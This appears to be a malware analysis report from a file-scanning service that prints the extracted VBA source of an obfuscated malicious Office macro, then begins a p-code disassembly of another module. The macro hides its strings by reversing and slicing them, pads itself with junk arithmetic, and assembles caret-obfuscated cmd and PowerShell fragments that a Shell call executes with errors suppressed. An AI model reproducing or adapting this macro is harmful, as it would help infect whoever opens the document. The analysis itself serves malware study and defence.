DXtrq = dizqB
jdVEv = fTnuf
jpliuw = SAsMHb + Sgn(18598 - OXwYs - mfhEr + Fix(89135)) - 93034 - CDbl(60537)
QJsDIB = 51193
zwHKjRfP = ChkBM("IJCjLrwvRHS", 32961 + 3 - 32961, 32961 + 5 - 32961)
kABjUn = OclzQ
pVmVwK = iDCsm
bCPXA = ocNXr + Sgn(71141 - rPqOI - OwbnFi + Fix(23751)) - 82616 - CDbl(42525)
hwIwM = 23560
koTTQE = ABubh
WEOvDI = tfNjvm
LZoYp = ZWGGtf + Sgn(39451 - mvjul - MwLEn + Fix(97408)) - 45996 - CDbl(82937)
ajYdn = 15341
LfDOowSzjKC = ChkBM("CK%NzhPOG% tes&&!.b8", 28829 + 4 - 28829, 28829 + 14 - 28829)
MVlwCz = ICXnQG
dpJcEO = jlqLi
jWVBj = LiNIn + Sgn(13854 - zDCPK - kVwuO + Fix(1937)) - 66885 - CDbl(86744)
dkvmU = 65099
bCOQV = pwJPw
QtAJz = vRtZu
WwivHl = njNJfu + Sgn(16150 - BvzlX - BSShk + Fix(24221)) - 8703 - CDbl(61384)
OCHTtY = 55163
mlEKHzWYRNI = ChkBM("BniIPwGCLQrjH.", 32888 + 4 - 32888, 32888 + 8 - 32888)
qYdKmC = UOpXuW
nXaUiL = XYhHz
GXbOcY = HNuJO + Sgn(29656 - MVXjlM - PktYt + Fix(32747)) - 62022 - CDbl(35949)
vDpDdz = 75740
TpYQC = UnTGc
YBqic = SmaPtw
jbLWic = OIuKb + Sgn(91438 - kLQFfq - pEDWaF + Fix(73451)) - 68778 - CDbl(58318)
wbYWz = 18208
bwowdiD = ChkBM("ulQI. tes&&r^e=%CZPLrwv1U", 51665 + 3 - 51665, 51665 + 18 - 51665)
kdcwQ = fCjzi
JKOFzq = HAIXO
dqOAWF = CAVBOw + Sgn(48383 - XTtFEI - tiVbj + Fix(52710)) - 2960 - CDbl(30746)
FORnQQ = 4046
jAjIv = IMWvTs
MlIFl = jJoUh
DJfbZU = IaoYPI + Sgn(94007 - WjGULN - ZNkFQH + Fix(52791)) - 33 - CDbl(90861)
zarcck = 94427
SRfhiz = ChkBM("abOm=%aMdUbYadNOSdUFz", 19763 + 4 - 19763, 19763 + 14 - 19763)
WjwXMs = oiMchA
UbjSr = Ephat
PhFEuw = toidC + Sgn(1558 - IbcOXN - iFPsKs + Fix(56114)) - 43310 - CDbl(63175)
YiUdP = 67903
KOcosj = XWEwn
PwqZB = CIHwK
NKJWD = VPsRcG + Sgn(69363 - JjMPO - WIvrvO + Fix(19727)) - 99876 - CDbl(93472)
DQSifZ = 30731
EFvqiAEXnF = ChkBM("Hp!%FkjCLZHvNqzWP%!=%@nKfLAH", 50250 + 8 - 50250, 50250 + 19 - 50250)
SccYV = WjpjOT
rjYnEO = bpRVS
NLoFp = TLwlIz + Sgn(76087 - VMYdld - MhtqbK + Fix(95720)) - 50032 - CDbl(55586)
HFKkK = 89772
VaHDib = cfRTHF
FoLNC = nOPjU
FRwkiG = VHXUTl + Sgn(44742 - cHiIvW - PvjDL + Fix(64573)) - 87046 - CDbl(14076)
YjiVY = 57052
Ujkvmvhz = ChkBM("%IaXQes&&s=%VfWPwaApfWQ", 68925 + 4 - 68925, 68925 + 15 - 68925)
jMhjth = rcfYL
kbZYw = DAivs
AMwkCB = wMuvN + Sgn(76201 - haraj - hAawK + Fix(19362)) - 48155 - CDbl(41749)
uERoGt = 41599
DaipaT = dbcDS
OjblO = VjqYO
rflwjq = OQsOz + Sgn(18074 - ShjhzT - HLtSPT + Fix(30483)) - 96410 - CDbl(2103)
BPsjo = 70077
XYtiQviiE = ChkBM("I1KIOj.qtzISHzhGCIkz% t%", 47678 + 2 - 47678, 47678 + 16 - 47678)
slzEnV = ccntn
JbuMj = rjUWo
OjMjQ = izBoLU + Sgn(61212 - pbpmj - KwDaV + Fix(61153)) - 98771 - CDbl(38953)
zYPKoY = 79636
KkTub = mIUcz
XSIoo = QAhDk
irfJR = iLkRh + Sgn(97284 - RsMovk - zivwh + Fix(58405)) - 79585 - CDbl(82999)
FZHATP = 68802
DYvUXsjNa = ChkBM("uqsOYf78R", 10190 + 5 - 10190, 10190 + 3 - 10190)
crHulo = lJAWK
MmSbA = vjcmX
jfsZwU = IYLDc + Sgn(26277 - qpKXd - jatnp + Fix(46784)) - 35622 - CDbl(29088)
EAEkDE = 18013
LsAkPW = loPDMR
IUWaV = vjDWC
BcEGB = bMmfHr + Sgn(41558 - wwWai - nTUIDT + Fix(78778)) - 73118 - CDbl(70796)
odiKVF = 63572
HvLCXX = ChkBM("qz1GCOnDrOulQzp=%QLtFrjF", 25475 + 2 - 25475, 25475 + 17 - 25475)
NSkEXd = fEPUz
drQSh = wCiwp
LqdILk = PoMMAi + Sgn(93456 - vYPZRl - LmSro + Fix(95563)) - 70791 - CDbl(60676)
WvdLmi = 44437
bjpHkk = NtOtHV
hRWzVU = NHuZLR
aDTwYP = ozGXG + Sgn(85010 - oTMIO - iNiPSI + Fix(98315)) - 27366 - CDbl(53484)
iYTznq = 90408
kVaBOO = ChkBM("NAXTYHjUu", 86269 + 5 - 86269, 86269 + 1 - 86269)
jFQtUP = OcnYnh
zRLMY = iPQKM
YwntX = YPYIik + Sgn(86851 - pDjMp - NRbBna + Fix(33494)) - 83403 - CDbl(36111)
pGjTq = 53380
tqZEE = jqvuo
mUdVq = kPNpN
ctCij = mBSXj + Sgn(54153 - iRWqP - zwrLPd + Fix(68345)) - 16937 - CDbl(38300)
WEEdDb = 21111
LwwHj = ChkBM("wIq6KwhkIZlWwZVkn% teFXUC6", 52217 + 6 - 52217, 52217 + 17 - 52217)
CKmHn = PlBBMG
ZwNNY = hmAwAS
wTfwQ = GGnFp + Sgn(83640 - Bwich - MjwGqP + Fix(58972)) - 81558 - CDbl(55841)
CNmokt = 92506
AWqWFm = HtUTJ
RIGzo = wLLzZY
FkifQp = Fitcc + Sgn(84609 - TsHAAh - UbsVd + Fix(4606)) - 88138 - CDbl(55410)
ZRwbjZ = 55072
YiNmu = ChkBM("dhtes&&O@1G", 10490 + 5 - 10490, 10490 + 5 - 10490)
DdlIi = dUwGi
DwZrP = ImKnnd
tUKiQD = PuzWvF + Sgn(72251 - PAhvP - ldsGM + Fix(90735)) - 33126 - CDbl(81795)
QqHjp = 87672
jMiNc = CMGFz
iuKOR = pYwXbK
TCQrv = qEzJBC + Sgn(77635 - HajAZ - uoNap + Fix(17407)) - 56742 - CDbl(22781)
ELlUBI = 18112
dKkoCsRh = ChkBM("Gi%avu36l", 35757 + 6 - 35757, 35757 + 1 - 35757)
VLLITk = JLdYiw
XCsRf = pCmQfX
wPinOw = NpNKbD + Sgn(55474 - dfEdi - nibjdU + Fix(93056)) - 36510 - CDbl(48312)
dwqmtc = 81856
WjKQOTbhRw = cbjjKuO + HNXjDiZimV + nWBlXUpcuH + WrjmGi + bVzzStmijw + AhhWVfvJi + qkGjdF + uskXtpPqmjd + HvLCXX + DJXmN + LwwHj + EFvqiAEXnF + YiNmu + dlQJA + rbLlC + oiuUbjmovZU + DDuimvCW + bwowdiD + lNjXvdEfjUI + hkzah + PlEqYp + LfDOowSzjKC + Ujkvmvhz + XYtiQviiE + nawEMcsEB + EFzur + SkdCs + SRfhiz + jURMKPjkJE + mlEKHzWYRNI + vlMZmazj + SKSCNmA + TwJvVj + DYvUXsjNa + zwHKjRfP + BiXXX + VoBms + dKkoCsRh + kVaBOO + JnJHLIjPMQ + sUoMA + jiFqqw
jJzip = qbMYYG
BoCKh = Dldsu
RhfNq = BoutZ + Sgn(84456 - tutBH - uSjbH + Fix(75508)) - 53312 - CDbl(24876)
nZGRE = 35677
HwXIw = GOzGro
sIzYza = ZzVMBi
oFzbs = OMTbj + Sgn(13581 - cPwIHE - jfAzl + Fix(83008)) - 81458 - CDbl(93342)
cLHTN = 34369
End Function

Attribute VB_Name = "AizXOfoY"
Sub shOJzN(zcjJE)
qBaRCr = ZnfKG
dIjnAq = HtJbnK
GKqdI = Cowww + Sgn(56446 - ISECEC - kwQpi + Fix(36286)) - 53664 - CDbl(81425)
rwirdJ = 28857
BBBvoJ = qXtUoo
XkJiJ = AvpdMs
zSlTw = HBCBF + Sgn(91170 - jzLZHB - kbthw + Fix(801)) - 41248 - CDbl(92587)
MYjwD = 74400
End Sub
Sub wYOsRvwrLPZC(GOPhzNpAawPWfV As String)
On Error Resume Next
lZWlh = VjDiW
BkQVK = WWYDUz
LvpdWw = tbZzlQ + Sgn(50608 - FKiQiI - VvCYMj + Fix(30970)) - 98638 - CDbl(65155)
YDWKf = 11368
kmTaLR = uKrROZ
TaQZt = wmDdbr
NNETZE = froTKi + Sgn(34919 - CozlIA - cFkli + Fix(67079)) - 95767 - CDbl(67166)
wTXXhF = 45934
[Shell] JcYblzPPIUkOi + Chr(vbKeyC) + GOPhzNpAawPWfV + jtIkzjoZOiIzV + HvwwQIbfbcrHV, AWuijl + 0 + AWuijl
WONUM = kdOzG
CkNqTo = YHNXnz
PDRft = ORDzUo + Sgn(72412 - Fijzp - FrSlJC + Fix(61118)) - 92838 - CDbl(29662)
raWps = 64550
iEPal = OWiCOT
hYzVRY = jWqLRC
IuRvUY = zvaBU + Sgn(20821 - OiAQd - bTcBYU + Fix(93062)) - 59917 - CDbl(23111)
DIilF = 53424
End Sub

Attribute VB_Name = "ibrqFhbHON"
Function XITTR(JwjtT)
zvzaM = jiZwXG
cwMivs = ZRJOZ
HjdVK = PEuuGH + Sgn(29932 - fiubk - fpSzN + Fix(76575)) - 1788 - CDbl(11739)
flkBuj = 5618
Elurj = DGbjZh
XhiLmS = jIWcJ
OIWGV = chqqpW + Sgn(91805 - OrmHb - GIEGp + Fix(14406)) - 26734 - CDbl(77131)
wPShc = 36524
jUKmFJ = ropqKA
VOAkAG = QQNZo
ubWoT = THRzpS + Sgn(93336 - MRAQDn - aASzbM + Fix(81120)) - 38209 - CDbl(7784)
MRznQR = 1238
VhhER = REfsw
zVAjT = Errccn
AcBzn = AzshFw + Sgn(42061 - GfXhzV - zqQQTp + Fix(25048)) - 17948 - CDbl(61790)
EurRiQ = 9621
End Function
Function GuuKjcWT(NhRrpuoPTpSQXA)
wzQEov = zszMTu
RZBlki = GnqMo
DiRYO = qBXWu + Sgn(5500 - iVzPz - wacRQ + Fix(94840)) - 60451 - CDbl(43597)
pKarz = 89664
TaZzBE = uCGiPz
IXtApa = NBajvT
MwDDa = CXqzK + Sgn(89196 - iOJOPW - hnhrJ + Fix(38576)) - 7525 - CDbl(10764)
wNFkQ = 63947
Cfpww = htpvds
rMTZvf = PMtGz
wrmFJj = IGjaa + Sgn(53587 - FnBOqL - hmujp + Fix(72428)) - 14231 - CDbl(82494)
liwznq = 13575
GuuKjcWT = NhRrpuoPTpSQXA
lzqqkc = wTjUbL
PoqQEr = UutRQ
sicIPj = ctUPw + Sgn(18299 - iVCmP - GSIIWl + Fix(29153)) - 23086 - CDbl(34292)
zZUfA = 38965
End Function
Function ChkBM(ByVal nkVZwWlZIkhwK As String, rQLCGwPIzi, HdSONdaYbUdMa)
On Error Resume Next
aFuuCW = aUvqq
sHBkqZ = UmdRE
rXpbd = NibhU + Sgn(70939 - wohBp - VTKqX + Fix(69800)) - 78185 - CDbl(52805)
Wobcqs = 60148
nlhXtlZznRt = StrReverse(nkVZwWlZIkhwK)
ksRqcT = Zjznd
mkotjr = hRrpYP
nGsuL = swJYh + Sgn(85296 - tQrkB - RkDnjH + Fix(1892)) - 96405 - CDbl(27391)
BcRNL = 55632
TfpoMUBOjjiET = oFbMopbP + Mid(qqnQaGn + nlhXtlZznRt + wXkSInKSid, wPipQz + rQLCGwPIzi + falcv, HdSONdaYbUdMa) + XXQKKzsuor
nsAjR = tJLTT
LBXTYb = pVbIv
WAIhlN = YPBXz + Sgn(42932 - JrTkI - cEInd + Fix(37779)) - 37228 - CDbl(52034)
uLkFv = 90365
ChkBM = lcZFLXwz + TfpoMUBOjjiET + WCNDzBrAqISrVD
ujWVp = sbStGr
CtEIJ = HRGXEs
jOmcY = YHLiA + Sgn(51660 - LiauJ - KjwzDJ + Fix(66037)) - 64136 - CDbl(91954)
oJSdV = 8146
oqVpSD = OEhzcd
MOMhnl = iSqjc
XVizo = AmEnB + Sgn(84698 - HizcjF - KbvFv + Fix(66542)) - 35895 - CDbl(23372)
XfGpz = 36384
End Function
Function VjLVcE(aKpKi)
jqHiKw = adBFoo
jIvCfo = dsXjpF
UuGYo = XjYcfB + Sgn(44470 - siFjo - bRPni + Fix(79837)) - 85538 - CDbl(10128)
juVqbF = 68049
jzKIAj = XiRXl
RDAhs = iTuzl
ipiJK = NInYjd + Sgn(29769 - hwQzYV - nRqUI + Fix(68122)) - 4486 - CDbl(9301)
mAZqRu = 70227
UWJcX = WWSRVh
uaPwv = roCLL
LmfEY = nMCfB + Sgn(22803 - QYUzqR - WYrZJs + Fix(41783)) - 44071 - CDbl(86521)
RKwYL = 13207
StHiVA = ZEHiz
qLtdj = uFvfoQ
iNrNR = RcfwK + Sgn(98126 - YbAFl - XVhGQU + Fix(84459)) - 47663 - CDbl(23650)
XNTRCW = 4877
End Function
Function OwzaODGmEBi()
On Error Resume Next
qpaiuL = jifOS
puzsz = HasajF
IirhwB = SOvQp + Sgn(51857 - qhpMK - jhTVZE + Fix(49817)) - 90995 - CDbl(15099)
PtdDDj = 85005
GSkkl = AjnGnt
JfdAG = hAQYtr
fVfGj = nfHTn + Sgn(52899 - cVlOu - iNWVcw + Fix(13562)) - 39145 - CDbl(80697)
puqtl = 17983
kMwmYLubnvI = ChkBM("1ftUcPORkkYOtnM AwaKKvYjddvIU4", 29681 + 3 - 29681, 29681 + 21 - 29681)
DjZjGc = MqZhP
OCdFI = IzDKZj
XRYwin = qihVE + Sgn(53421 - UJlXZE - tmRlkw + Fix(1337)) - 60059 - CDbl(99828)
zAJFj = 76200
atsFWA = VhbEjp
mbdAO = WnpZJ
Hdjzi = riJAM + Sgn(48026 - wjRPnS - fSUst + Fix(15141)) - 5619 - CDbl(11229)
mESvCs = 95302
NjjHvwGzjpk = ChkBM("MdU%j  c/         V/  C", 88804 + 2 - 88804, 88804 + 17 - 88804)
isuoGw = OEOQXF
BHmoo = oFaGl
Wwudj = mdjvX + Sgn(65489 - Tidpt - iVOCKJ + Fix(28203)) - 8041 - CDbl(78388)
cRnDwc = 79490
PVSip = rQfPWz
GGSHt = TaiLFi
ITbsRk = brnrGJ + Sgn(89427 - juZHii - LZzAAd + Fix(66267)) - 71838 - CDbl(19327)
zEjYo = 75481
ROdsiqP = ChkBM("lJbG   %^c^E^p^S^m^O4Y%s", 39134 + 6 - 39134, 39134 + 15 - 39134)
mwwPSb = kphqk
zzGMIC = QkVsGd
GELNvH = Vkhjtw + Sgn(95522 - KvrBX - AwWPm + Fix(89425)) - 64043 - CDbl(3643)
DJowvj = 59364
VhzwbN = rGbTW
MJoCJ = wdici
fGQjCw = pDUss + Sgn(53222 - DDRAU - njjGGz + Fix(93505)) - 46289 - CDbl(93934)
qEOFvG = 93432
ZYQbb = ChkBM("7vUm^o^c^%     & SQbil45MNL", 40299 + 6 - 40299, 40299 + 19 - 40299)
EivhR = RvazFs
dHuCw = JaEAz
DdniVQ = HGwqtG + Sgn(29042 - pKWzSE - NzUDwj + Fix(74781)) - 69853 - CDbl(98944)
voOOdR = 9779
UjjKq = HTBCf
jRBcZk = EQCzwa
idlLw = urfSP + Sgn(53297 - cGaPj - VULhi + Fix(65440)) - 76032 - CDbl(73835)
HSjmja = 61669
mkSumQiVIBB = ChkBM(",9OnYFOJLzFC inVtOokN dmzKlbPZ", 63860 + 7 - 63860, 63860 + 22 - 63860)
iqFfps = iMzSCw
mTtFvT = CdINPj
mcrrv = sZaXjb + Sgn(48947 - VkVjjR - NtifNh + Fix(61390)) - 25248 - CDbl(94767)
ZIYwk = 12008
PMMsT = RdIil
iFliQF = oLanD
QnRrc = omOIN + Sgn(47348 - vwAWk - KiOvn + Fix(30997)) - 96758 - CDbl(98068)
SopZJ = 75476
aYoIG = ChkBM("9v3BBtpLo^c^%     b", 52144 + 2 - 52144, 52144 + 10 - 52144)
dzljL = wQwXJH
KooqV = aBsibi
lUaTo = WrUAl + Sgn(6752 - NjwwP - qotdz + Fix(97585)) - 6623 - CDbl(29271)
BlVJC = 83585
hInAd = wRprq
nlCiO = LjSduz
VanEbD = XfhDf + Sgn(76406 - ACcmkP - nzwvcC + Fix(25599)) - 6231 - CDbl(81365)
OqSIi = 18182
jPSPbBWczWk = ChkBM("G6Aa4Q%^c^E^p^S^G", 22013 + 2 - 22013, 22013 + 10 - 22013)
NoXBI = wCaHK
qqKizh = oIwBFT
cppVcS = PZvrif + Sgn(91483 - tCuCZz - DIUbI + Fix(39509)) - 7965 - CDbl(28316)
RhTbJN = 10455
jtWsaL = hGTzs
bdJphB = iSjESq
iOvZQ = BBStO + Sgn(63637 - DIDfk - DRbGb + Fix(31290)) - 27654 - CDbl(14494)
NMSZjq = 57833
WKMYocda = ChkBM("4si6         jA.k", 59209 + 5 - 59209, 59209 + 9 - 59209)
Ltijl = KQbAwl
PBUKmD = HTJCA
oFaoz = ZoslB + Sgn(45620 - rQqAQ - VTwLz + Fix(29403)) - 93843 - CDbl(74658)
Mskjj = 57749
FpmChM = XPSmUM
QStkio = udZAbB
zBVooF = BONkJ + Sgn(63901 - vfccah - ZrvEpw + Fix(21045)) - 23381 - CDbl(24493)
FKKXO = 93393
OwzaODGmEBi = mkSumQiVIBB + kMwmYLubnvI + ZYQbb + jPSPbBWczWk + aYoIG + ROdsiqP + NjjHvwGzjpk + WKMYocda
fHiPEf = VHOwzz
BUfaK = kwJAp
LiwXD = iiwTDh + Sgn(40854 - wiihM - PdEqi + Fix(93606)) - 7923 - CDbl(43751)
hzdZC = 37636
jMtmbz = DWaQsD
VLLaP = IubdK
jWMXT = prfzA + Sgn(88215 - TpViz - PuBYRr + Fix(54755)) - 31069 - CDbl(44115)
mlPbKS = 19449
End Function
Sub wHFDLi(LRUwj, McwvVi, ujquSC)
MkSwBi = jsZLjT
GaIUqC = IQjooL
SQKkJo = azYvB + Sgn(17525 - jZjmKz - FiabzS + Fix(6189)) - 38871 - CDbl(72896)
MTjQc = 28274
afmfbk = ptzZr
CiLINi = JJVJGN
ihcMH = JLfMI + Sgn(57873 - BmFVdd - EiHXDt + Fix(58423)) - 33640 - CDbl(32142)
dYOTq = 14943
End Sub
Sub kRjnq()
wzjkiX = AfdXL
aEJNj = uWjjPi
iokMw = NjIXU + Sgn(18973 - uMJzvq - qhMbD + Fix(93)) - 91898 - CDbl(92468)
PPTFXs = 31174
TjVzQ = jpDkz
NmoZWU = bJIwGR
tIAEX = wtiOU + Sgn(19260 - PfmAP - NPcbti + Fix(5839)) - 92132 - CDbl(77895)
KjPfJ = 46409
End Sub

' Processing file: /opt/analyzer/scan_staging/36f9c5e8872348029b270de4e352867b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/XdCAsFf - 5096 bytes
' Line #0:
' 	FuncDefn (Sub Zwwljw(WVuDs))
' Line #1:
' 	Ld OWudZ 
' 	St dtwcj 
' Line #2:
' 	Ld vVDENc 
' 	St IciLH 
' Line #3:
' 	Ld dtJuji 
' 	LitDI4 0x1865 0x0001 
' 	Ld JNGfVY 
' 	Sub 
' 	Ld YVqLN 
' 	Sub 
' 	LitDI2 0x6095 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI2 0x3B75 
' 	Sub 
' 	LitDI4 0xA814 0x0000 
' 	Coerce (Dbl) 
' 	Sub 
' 	St pwIMP 
' Line #4:
' 	LitDI2 0x3F37 
' 	St ZfUNq 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub Jiwwa(hwjWkl))
' Line #7:
' 	Ld bRBBS 
' 	St wYsDw 
' Line #8:
' 	Ld GAHzB 
' 	St XEVAJ 
' Line #9:
' 	Ld rcWOIA 
' 	LitDI4 0x2568 0x0001 
' 	Ld QZhoI 
' 	Sub 
' 	Ld jaCuMz 
' 	Sub 
' 	LitDI4 0xA9AB 0x0000 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0x7C8C 0x0001 
' 	Sub 
' 	LitDI4 0xE267 0x0000 
' 	Coerce (Dbl) 
' 	Sub 
' 	St crYns 
' Line #10:
' 	LitDI4 0x4BFF 0x0001 
' 	St AwXWbE 
' Line #11:
' 	Ld VNsGjT 
' 	St YWKpzI 
' Line #12:
' 	Ld buItwl 
' 	St oYqBo 
' Line #13:
' 	Ld tQmRqb 
' 	LitDI4 0x5A7F 0x0001 
' 	Ld rkdszR 
' 	Sub 
' 	Ld JwfZQN 
' 	Sub 
' 	LitDI2 0x5EFA 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0xDF93 0x0000 
' 	Sub 
' 	LitDI2 0x660C 
' 	Coerce (Dbl) 
' 	Sub 
' 	St JcRpL 
' Line #14:
' 	LitDI4 0x6D86 0x0001 
' 	St rOums 
' Line #15:
' 	Ld zaujj 
' 	St uwaCC 
' Line #16:
' 	Ld ilQvTj 
' 	St iAATh 
' Line #17:
' 	Ld nazwqi 
' 	LitDI2 0x3742 
' 	Ld jzVhcS 
' 	Sub 
' 	Ld QquNmO 
' 	Sub 
' 	LitDI2 0x56B8 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0x25EC 0x0001 
' 	Sub 
' 	LitDI4 0x7C9B 0x0001 
' 	Coerce (Dbl) 
' 	Sub 
' 	St YAzMzL 
' Line #18:
' 	LitDI4 0x6164 0x0001 
' 	St tPdGzN 
' Line #19:
' 	EndSub 
' Line #20:
' 	FuncDefn (Sub kXEDB(CsmERa))
' Line #21:
' 	Ld ZlbnwT 
' 	St DTqkIS 
' Line #22:
' 	Ld rviMp 
' 	St Odkjla 
' Line #23:
' 	Ld spwnW 
' 	LitDI4 0x4762 0x0001 
' 	Ld IuzvRE 
' 	Sub 
' 	Ld fnOBXf 
' 	Sub 
' 	LitDI2 0x04B4 
' 	FnFix 
' 	Add 
' 	FnSgn 
' 	Add 
' 	LitDI4 0xB66A 0x0000 
' 	Sub 
' 	LitDI2 0x5A9B 
…

Open this report in the interactive analyzer, or submit your own file for analysis.